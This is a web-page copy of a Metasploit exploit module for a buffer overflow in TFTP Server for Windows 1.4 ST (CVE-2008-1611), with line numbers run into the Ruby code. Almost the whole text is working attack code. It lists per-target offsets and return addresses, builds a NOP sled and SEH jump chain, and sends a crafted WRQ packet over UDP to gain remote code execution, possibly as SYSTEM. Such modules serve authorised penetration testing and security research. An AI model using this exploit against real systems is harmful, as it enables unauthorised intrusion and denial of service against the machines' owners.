Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::Udp89def initialize(info = {})10super(update_info(info,11'Name' => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow',12'Description' => %q{13This module exploits a vulnerability found in TFTP Server 1.4 ST. The flaw14is due to the way TFTP handles the filename parameter extracted from a WRQ request.15The server will append the user-supplied filename to TFTP server binary's path16without any bounds checking, and then attempt to check this path with a fopen().17Since this isn't a valid file path, fopen() returns null, which allows the18corrupted data to be used in a strcmp() function, causing an access violation.1920Since the offset is sensitive to how the TFTP server is launched, you must know21in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'22, and then manually select your target accordingly. A successful attempt will lead23to remote code execution under the context of SYSTEM if run as a service, or24the user if run as a standalone. A failed attempt will result a denial-of-service.25},26'Author' =>27[28'Mati Aharoni', #Initial discovery, PoC29'Datacut' #Metasploit30],31'References' =>32[33[ 'CVE', '2008-1611' ],34[ 'OSVDB', '43785' ],35[ 'BID', '18345' ],36[ 'EDB', '5314' ]37],38'DefaultOptions' =>39{40'EXITFUNC' =>'seh',41},42'Payload' =>43{44'Space' => 600,45'BadChars' => "\x00\x2f",46'StackAdjustment' => -350047},48'Platform' => 'win',49'Targets' =>50[51# datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.52# possible may work for other service packs and or vista53# Rets = P/P/R from tftpserversp.exe54[ 'Windows XP SP2/SP3 EN Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1203} ],55[ 'Windows XP SP2/SP3 EN Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1487} ],56[ 'Windows 7 SP0/SP1 EN x64 Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1217} ],57[ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1501} ],58[ 'Windows 7 SP0/SP1 EN x86 Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1223} ],59[ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1507} ]60],61'Privileged' => false,62'DisclosureDate'=> '2008-03-26',63'DefaultTarget' => 4)) #TFTP is installed as a service6465register_options(66[67Opt::RPORT(69)68])69end707172def exploit73connect_udp7475nops = make_nops(50)76lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)77near = "\xe9\x80\xfd\xff\xff" #jump back 640 bytes to the nop sled78nseh = "\xeb\xf9" + make_nops(2) #jump back 7 bytes to the long jump7980evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')81mode = "netascii"8283#Send the WRQ packet (header "\x00\x02")84sploit = "\x00\x02" + evil + "\0" + mode +"\0"8586udp_sock.put(sploit)8788handler89disconnect_udp90end91end929394